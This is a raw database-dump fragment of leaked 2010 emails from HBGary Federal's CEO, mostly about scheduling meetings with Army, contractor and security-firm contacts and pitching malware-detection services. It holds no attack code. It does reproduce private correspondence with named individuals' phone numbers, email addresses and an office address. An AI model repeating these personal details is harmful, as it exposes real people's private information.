Turner,\r\n\r\nLet me give you a quick list of things I can talk about and you tell me which ones are of the most interest.  I can tailor any material, etc to your interest.\r\n\r\nHBGary Technology that enables enterprise advanced detection of advanced zero day malware.\r\n1. DDNA - Behavior based malware detection.\r\n2. Active Defense - Enterprise advanced malware detection and analysis\r\n4. Threat Management - Volume malware processor. 20K malware a day.\r\n\r\nServices and Thought Leadership\r\n1. CERT/SOC Operations - Technologies and Processes that enable transformation of CERT/SOC operations.  Knowledge management.  Information Sharing.  New Media, Bringing Malware analysis into Net Defense.\r\n2. Incident Response - New technologies and processes for more efficient IR engagements with leave behind capability for continuous monitoring.\r\n3. Threat Intelligence - new threats require better threat intelligence to understand.  Approach to threat intelligence.\r\n4. IO - A list of things better discussed in person.  Novell ways to implement persistent internet operations.  New Media, CovCom, etc.\r\n\r\nI can pass my clearances if needed.\r\n\r\nAaron\r\n\r\n\r\nOn Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> How about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn\'t work let me know and we\'ll pick another one. The address is: \r\n> 6359 Walker Lane, Alexandria, VA 22310\r\n> Once you get here you can give me a call at 703-428-4514 and I\'ll meet up with you. We\'ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\n> \r\n> Very Respectfully,\r\n> \r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, June 21, 2010 9:36 am\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA\" \r\n> \r\n> \r\n>> Friday looks good for me. I will come to you.\r\n>> \r\n>> Let me know time and place and I\'ll be there.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>> \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> Mr. Barr,\r\n>>> Thanks for your briefing, I really appreciate it. I have a \r\n>> writing> course from Tuesday to Thursday but I\'m free on Friday of \r\n>> this week.\r\n>>> Next week is pretty open for me. Where are you located? I assume \r\n>> up near\r\n>>> Ft. Meade. Our office is in Springfield, Virginia. If we met \r\n>> here it\r\n>>> would be easier for us to get my boss, Mrs. Brooks, involved \r\n>> concerning> Fidelis. She has been leading force in fighting to get \r\n>> monitoring tools\r\n>>> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n>>> enough to metro area I could easily come to you. Let me know \r\n>> what is\r\n>>> convenient for you and we\'ll pick a time. Thanks\r\n>>> \r\n>>> CPT Steve Turner\r\n>>> \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',739,'aaron_hbgary_com/739.html'),(7607,'2010-06-22','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005745.M17724P14101Q2462.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Aaron,That would be great, much appreciated.Best,ArnavOn 2010-06-21, at 9:59 PM, Aaron Barr wrote:I am going to be coming from Chantilly so let\'s not head up to Bethesda and deal with traffic. &nbsp;I will get us an office in Tysons Corner. &nbsp;Sound Good? &nbsp;I will send an address tomorrow.\r\nAaronSent from my iPadOn Jun 21, 2010, at 10:40 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nWe can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\nThat should work fine. &nbsp;Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\nHi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\nSorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\nHi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\nAaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',0,'aaron_hbgary_com/0.html'),(7608,'2010-06-22','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005745.M286319P14101Q2463.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Aaron,\r\n\r\nI\'ll send a meeting maker for Wednesday morning.\r\n\r\nLook forward to chatting.\r\n\r\nDave\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n\r\nOn Jun 21, 2010, at 7:24 PM, Aaron Barr wrote:\r\n\r\n> Absolutely.  With the FIRST conference and fathers day I haven\'t had a\r\n> chance to review, so how about on wed. Or thurs. Morning?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 21, 2010, at 6:41 PM, David Gerulski  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Would like to get on the phone with you as soon as convenient.  Need to go over the proposal we sent to you on Friday.\r\n>> \r\n>> Sincerely\r\n>> \r\n>> Dave\r\n>> \r\n>> \r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>> \r\n>> \r\n\r\n',16309,'aaron_hbgary_com/16309.html'),(7609,'2010-06-22','\"Kevin Youngblood\" <katnkevin2001@yahoo.com>','/aaron@hbgary.com/new/1297005745.M567728P14101Q2464.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I\'m at @cinemadraft in Arlington, VA...','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nKevin Youngblood has sent you a message.\r\n\r\n\r\n  Date:\r\n  6/22/2010\r\n\r\n\r\n  Subject:\r\n  RE: I\'m at @cinemadraft in Arlington, VA...\r\n\r\n\r\n\r\n  Nice suite and tie...is that a touch of grey around the edges??\r\n\r\n\r\n\r\n- Kevin\r\n\r\n\r\n\r\nAaron posted:\r\n\r\nI\'m at @cinemadraft in Arlington, VA http://gowal.la/r/9neR\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',3797,'aaron_hbgary_com/3797.html'),(7610,'2010-06-22','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005745.M828973P14101Q2465.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Am in the Navy symposium in HCC all day today.  Looks like Thursday for\r\nright now.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 6:39 PM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nSure.  I can do thursday, unless you can do tomorrow morning?  I am in\r\nMD all tomorrow.\r\n\r\nYour call.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> Whoops, life at the speed of cyber just struck; am now headed to one\r\nof\r\n> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n> will have to look at another time. Your next best opportunity?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 21, 2010 5:33 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> We\'d afternoon would be great if you have the time then.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>  wrote:\r\n>\r\n>> I sit in AJ but also spend a day or two a week in Chantilly. Thursday\r\n> I\r\n>> am in AJ but I can carve some time out of Wed when I will be in\r\n>> Chantilly in the afternoon.  Thoughts\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 10:41 AM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> Ha.  I like the three bears comment!  And I can see it would be a\r\nmuch\r\n>> better fit, not so big, mission not so spread out.  You can focus you\r\n>> energies to help them develop a cyber strategy within a much more\r\n>> defined context.  Still any cyber strategy effort today is not\r\nwithout\r\n>> its challenges, the government just is not getting its act together.\r\n>>\r\n>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>> anxiety and exhilaration of trying to build a business is an\r\n> invaluable\r\n>> experience for me.  I am not happy with the manner in which I left,\r\n> but\r\n>> alls well that ends well and I have maintained good relationships\r\nwith\r\n>> just about all of my previous close coworkers.  I sit in\r\n> Tysons/Mclean.\r\n>> We don\'t have a DC office yet, main offices in Sacramento and\r\nColorado\r\n>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\n>> This week I have Thursday open and am pretty open next week.  I will\r\n> be\r\n>> in Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\n>> not sure where you sit.  Let me know when you have some availability.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>\r\n>>> Hey Aaron,\r\n>>>\r\n>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>> tentative congratulations but I will tell you I am pleased to be\r\n> here.\r\n>>> Northrop is a great company, just way too big, and like the three\r\n>> bears\r\n>>> said, this one is JUST right.  Or at least it is so far.  And many\r\nof\r\n>>> your friends here still remember you well.  I think I saw where your\r\n>>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>> together?  Let me know and we\'ll make it happen,\r\n>>>\r\n>>> 	Larry\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Discussion on cyber\r\n>>>\r\n>>> Hi Larry,\r\n>>>\r\n>>> Congratulations... I think. ;)\r\n>>>\r\n>>> Attached is our datasheet for information security services.  I\r\nwould\r\n>>> like to get together at your convenience to talk cyber.  I had a\r\n> brief\r\n>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>> would\r\n>>> like to work together.  TASC is a second home for me and contains\r\n> many\r\n>>> friends.\r\n>>>\r\n>>> Aaron\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',9494,'aaron_hbgary_com/9494.html'),(7611,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005746.M280100P14101Q2467.eml','\"David Etue\" <david.etue@fidelissecurity.com>,\"David Etue\" <david@etue.net>','Got time to talk?',' From my iPhone\r\n',12975,'aaron_hbgary_com/12975.html'),(7612,'2010-06-22','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297005746.M49520P14101Q2466.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dinner','',2728,'aaron_hbgary_com/2728.html'),(7613,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005746.M606795P14101Q2468.eml','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','Meeting','Hi Robert,\r\n\r\nDo you have any time this Thursday or maybe next week?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4056,'aaron_hbgary_com/4056.html'),(7614,'2010-06-22','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005746.M855974P14101Q2469.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Meeting','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Meeting\r\n\r\n\r\n\r\n\r\nGreetings!\r\n\r\nI will be out of the office until Tuesday, July 6th.&nbsp;\r\n\r\nDuring this time period, if you have a technical/programmatic issue, please contact Bruce Kieta at (443) 367-7683 or (410) 458-3657.\r\n\r\nFor administrative matters, please contact Bobbie Grubb at (443) 367-7687.\r\n\r\nMany thanks and best regards,\r\n\r\nBob Paczynski\r\n\r\n\r\n\r\n\r\n',16170,'aaron_hbgary_com/16170.html'),(7615,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005747.M312309P14101Q2471.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Something else that might be of interest that we are starting to work on.\r\n\r\n1. Training for organizations in SNS vulnerabilities and protective measures.\r\n2. Building some capability into the Fidelis/Active Defense offering to map social networking activity in networks where deployed and building some protective capability related to SNS.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> How about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn\'t work let me know and we\'ll pick another one. The address is: \r\n> 6359 Walker Lane, Alexandria, VA 22310\r\n> Once you get here you can give me a call at 703-428-4514 and I\'ll meet up with you. We\'ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\n> \r\n> Very Respectfully,\r\n> \r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, June 21, 2010 9:36 am\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA\" \r\n> \r\n> \r\n>> Friday looks good for me. I will come to you.\r\n>> \r\n>> Let me know time and place and I\'ll be there.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>> \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> Mr. Barr,\r\n>>> Thanks for your briefing, I really appreciate it. I have a \r\n>> writing> course from Tuesday to Thursday but I\'m free on Friday of \r\n>> this week.\r\n>>> Next week is pretty open for me. Where are you located? I assume \r\n>> up near\r\n>>> Ft. Meade. Our office is in Springfield, Virginia. If we met \r\n>> here it\r\n>>> would be easier for us to get my boss, Mrs. Brooks, involved \r\n>> concerning> Fidelis. She has been leading force in fighting to get \r\n>> monitoring tools\r\n>>> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n>>> enough to metro area I could easily come to you. Let me know \r\n>> what is\r\n>>> convenient for you and we\'ll pick a time. Thanks\r\n>>> \r\n>>> CPT Steve Turner\r\n>>> \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4379,'aaron_hbgary_com/4379.html'),(7616,'2010-06-22','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005747.M535912P14101Q2472.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Daniel Ingevaldson\" <dsi@endgames.us>','HBGary Contract Discussion','When: Wednesday, June 23, 2010 2:00 PM-3:00 PM. Eastern Standard Time\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nEngame will call Aaron\r\n',16350,'aaron_hbgary_com/16350.html'),(7617,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005747.M76376P14101Q2470.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Information','I have a 2pm meeting in Tysons, so anywhere between Rosslyn and Tysons works for me.  I know some good places, but want to be convenient to Tom\'s schedule.  There are some good places on Wilson going into Arlington.  Lebanese Taverna in Tysons II is always good.  I am flexible.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 8:48 AM, Robinson, Cassie wrote:\r\n\r\n> Aaron\r\n> Where would you like to meet?\r\n> \r\n> csr\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, June 18, 2010 9:25 AM\r\n> To: Robinson, Cassie\r\n> Subject: Re: Information\r\n> \r\n> I didn\'t answer this.  How about the 7th.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 16, 2010, at 11:23 AM, \"Robinson, Cassie\"\r\n>  wrote:\r\n> \r\n>> Hey Aaron -- Early July dates that work for lunch with Tom\r\n>> \r\n>> 7 Jul\r\n>> 9 Jul\r\n>> 15 Jul\r\n>> 16 Jul\r\n>> \r\n>> Do any of those dates work for you?\r\n>> \r\n>> Thanks much\r\n>> \r\n>> csr\r\n>> \r\n>> -----Original Message-----\r\n>> From: Conroy, Thomas W.\r\n>> Sent: Wednesday, June 16, 2010 11:16 AM\r\n>> To: \'Aaron Barr\'\r\n>> Cc: Robinson, Cassie\r\n>> Subject: RE: Information\r\n>> \r\n>> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n>> well and business is picking up.  Any word on that DARPA contract you\r\n>> were seeking?\r\n>> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n>> going out to NSA later this week to meet with a friend who is working\r\n> in\r\n>> CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n>> Cassie, will you please see if we can schedule a get together?\r\n>> \r\n>> Tom\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 9:20 AM\r\n>> To: Conroy, Thomas W.\r\n>> Subject: Information\r\n>> \r\n>> Hi Tom,\r\n>> \r\n>> I hope all is well.  I had dinner with Kathy and a bunch of other\r\n> cyber\r\n>> folks last night as part of the  cyber group chaired by Bill Varner.\r\n> I\r\n>> was a bit of an odd ball in that I don\'t own significant cyber\r\n> business\r\n>> but hope to be able to contribute in other ways.\r\n>> \r\n>> Anyway, last time we met you mentioned there was someone you thought I\r\n>> should meet, but requested some information.  Attached is our data\r\n> sheet\r\n>> for our offerings in information security services as well as a link\r\n> to\r\n>> my professional profile and a recent interview.\r\n>> \r\n>> Maybe we can get together for lunch again in early July if your\r\n> around?\r\n>> I would love to get your thoughts on cyber command and the\r\n> sluggishness\r\n>> that continues around cyber.\r\n>> \r\n>> http://www.linkedin.com/in/aaronbarr3\r\n>> \r\n>> \r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n>> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12246,'aaron_hbgary_com/12246.html'),(7618,'2010-06-22','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005748.M593046P14101Q2474.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Aaron,\r\nI have to be brief because I\'m in a class today and tomorrow. Just bring your picture ID and we\'ll get you into the building. As far as the topics to discuss, I\'ll have to get back to you later today when I have more time to review your email. Sorry about that but I only have a few minutes until this dumb class starts. I\'ll write more later.\r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Tuesday, June 22, 2010 10:35 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> Something else that might be of interest that we are starting to \r\n> work on.\r\n> \r\n> 1. Training for organizations in SNS vulnerabilities and \r\n> protective measures.\r\n> 2. Building some capability into the Fidelis/Active Defense \r\n> offering to map social networking activity in networks where \r\n> deployed and building some protective capability related to SNS.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA \r\n> USINSCOM wrote:\r\n> \r\n> > How about 10:00 here at metro park. I figure the traffic should \r\n> good by then and you can still get out of here before the Friday \r\n> traffic starts again. If that time doesn\'t work let me know and \r\n> we\'ll pick another one. The address is: \r\n> > 6359 Walker Lane, Alexandria, VA 22310\r\n> > Once you get here you can give me a call at 703-428-4514 and \r\n> I\'ll meet up with you. We\'ll be meeting with the Army Red Team \r\n> Chief, MAJ Verell, and the Vulnerability Assessment Detachment \r\n> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics \r\n> that you would like to discuss. Again, thanks for taking the time \r\n> to speak with us.\r\n> > \r\n> > Very Respectfully,\r\n> > \r\n> > CPT Stephen W. Turner\r\n> > DSN 703-428-4514\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Monday, June 21, 2010 9:36 am\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA\"  > \r\n> > \r\n> >> Friday looks good for me. I will come to you.\r\n> >> \r\n> >> Let me know time and place and I\'ll be there.\r\n> >> \r\n> >> Aaron\r\n> >> \r\n> >> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >> \r\n> >>> Classification: UNCLASSIFIED\r\n> >>> Caveats: FOUO\r\n> >>> \r\n> >>> Mr. Barr,\r\n> >>> Thanks for your briefing, I really appreciate it. I have a \r\n> >> writing> course from Tuesday to Thursday but I\'m free on Friday of \r\n> >> this week.\r\n> >>> Next week is pretty open for me. Where are you located? I assume \r\n> >> up near\r\n> >>> Ft. Meade. Our office is in Springfield, Virginia. If we met \r\n> >> here it\r\n> >>> would be easier for us to get my boss, Mrs. Brooks, involved \r\n> >> concerning> Fidelis. She has been leading force in fighting to get \r\n> >> monitoring tools\r\n> >>> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n> >>> enough to metro area I could easily come to you. Let me know \r\n> >> what is\r\n> >>> convenient for you and we\'ll pick a time. Thanks\r\n> >>> \r\n> >>> CPT Steve Turner\r\n> >>> \r\n> >>> Classification: UNCLASSIFIED\r\n> >>> Caveats: FOUO\r\n> >>> \r\n> >>> \r\n> >> \r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9823,'aaron_hbgary_com/9823.html'),(7619,'2010-06-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005748.M66010P14101Q2473.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: June 22, 2010 4:21:40 AM EDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nTuesday, June 22, 2010, 04:18 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 Universal Forensic Extraction Device    Sol. #:                192110VHQ6CCC0042-1    Agency:                Department of Homeland Security\r\n    Office:                Immigration &amp; Customs Enforcement    Location:              ICE-OAQ-MD    Posted On:             Jun 21, 2010 11:10 am    Base Type:             Special Notice\r\n    Link:                  https://www.fbo.gov/spg/DHS/INS/ICE-OAQ-MD/192110VHQ6CCC0042-1/listing.html\r\n    -------------------------------------------------------\r\n',2629,'aaron_hbgary_com/2629.html'),(7620,'2010-06-22','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297005748.M815637P14101Q2475.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information','How about Olive Garden or J Gilberts?\r\n\r\ncsr\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 10:27 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Information\r\n\r\nI have a 2pm meeting in Tysons, so anywhere between Rosslyn and Tysons works\r\nfor me.  I know some good places, but want to be convenient to Tom\'s\r\nschedule.  There are some good places on Wilson going into Arlington.\r\nLebanese Taverna in Tysons II is always good.  I am flexible.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 8:48 AM, Robinson, Cassie wrote:\r\n\r\n> Aaron\r\n> Where would you like to meet?\r\n> \r\n> csr\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, June 18, 2010 9:25 AM\r\n> To: Robinson, Cassie\r\n> Subject: Re: Information\r\n> \r\n> I didn\'t answer this.  How about the 7th.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 16, 2010, at 11:23 AM, \"Robinson, Cassie\"\r\n>  wrote:\r\n> \r\n>> Hey Aaron -- Early July dates that work for lunch with Tom\r\n>> \r\n>> 7 Jul\r\n>> 9 Jul\r\n>> 15 Jul\r\n>> 16 Jul\r\n>> \r\n>> Do any of those dates work for you?\r\n>> \r\n>> Thanks much\r\n>> \r\n>> csr\r\n>> \r\n>> -----Original Message-----\r\n>> From: Conroy, Thomas W.\r\n>> Sent: Wednesday, June 16, 2010 11:16 AM\r\n>> To: \'Aaron Barr\'\r\n>> Cc: Robinson, Cassie\r\n>> Subject: RE: Information\r\n>> \r\n>> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n>> well and business is picking up.  Any word on that DARPA contract you\r\n>> were seeking?\r\n>> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n>> going out to NSA later this week to meet with a friend who is working\r\n> in\r\n>> 